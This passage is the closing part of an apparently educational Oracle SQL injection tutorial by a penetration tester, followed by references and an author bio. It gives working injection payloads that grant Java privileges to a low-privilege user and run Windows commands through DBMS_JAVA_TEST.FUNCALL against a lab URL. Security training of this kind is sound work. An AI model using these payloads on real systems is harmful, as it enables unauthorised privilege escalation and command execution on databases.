C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;';end;--
```

This will grant Java privileges to our SCOTT user (only create session privileges are required). With these privileges we can become DBA (if we want) or just directly execute Operating System Commands.

### OS Code Execution

```
http://192.168.2.10/ora9.php?name=null;declare aa varchar2(200);begin
execute immediate 'Select
DBMS_JAVA_TEST.FUNCALL(''oracle/aurora/util/Wrapper'',''main'',''c:\\window
s\\system32\\cmd.exe'',''/c'',''dir >> c:\\OUTer3.LST'') FROM DUAL' into
aa;end;end;--
```

## References

1. http://www.databasesecurity.com/HackingAurora.pdf
2. http://www.databasesecurity.com/ExploitingPLSQLinOracle11g.pdf
3. http://www.databasesecurity.com/oracle/plsql-injection-create-session.pdf
4. http://blog.phishme.com/wp-content/uploads/2007/08/dc-15-karlsson.pdf
5. http://blog.red-database-security.com/2009/01/17/tutorial-oracle-sql-injection-in-webapps-part-i/
6. http://notsosecure.com/folder2/ora_cmd_exec.txt
7. http://code.google.com/p/bsqlbf-v2/
8. http://sqlmap.sourceforge.net/
9. http://www.net-security.org/dl/articles/more_advanced_sql_injection.pdf
10. http://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-alonso-parada.pdf
11. http://www.red-database-security.com/wp/confidence2009.pdf
12. http://www.slaviks-blog.com/2009/10/13/blind-sql-injection-in-oracle/

## About the author

Sumit Siddharth (Sid) works as a principal security consultant for 7Safe where he heads the Penetration Testing department. He specialises in application and database security and has been a speaker at many security conferences including Defcon, Troopers, OWASP Appsec, Sec-T etc. He also runs the popular IT security blog http://www.notsosecure.com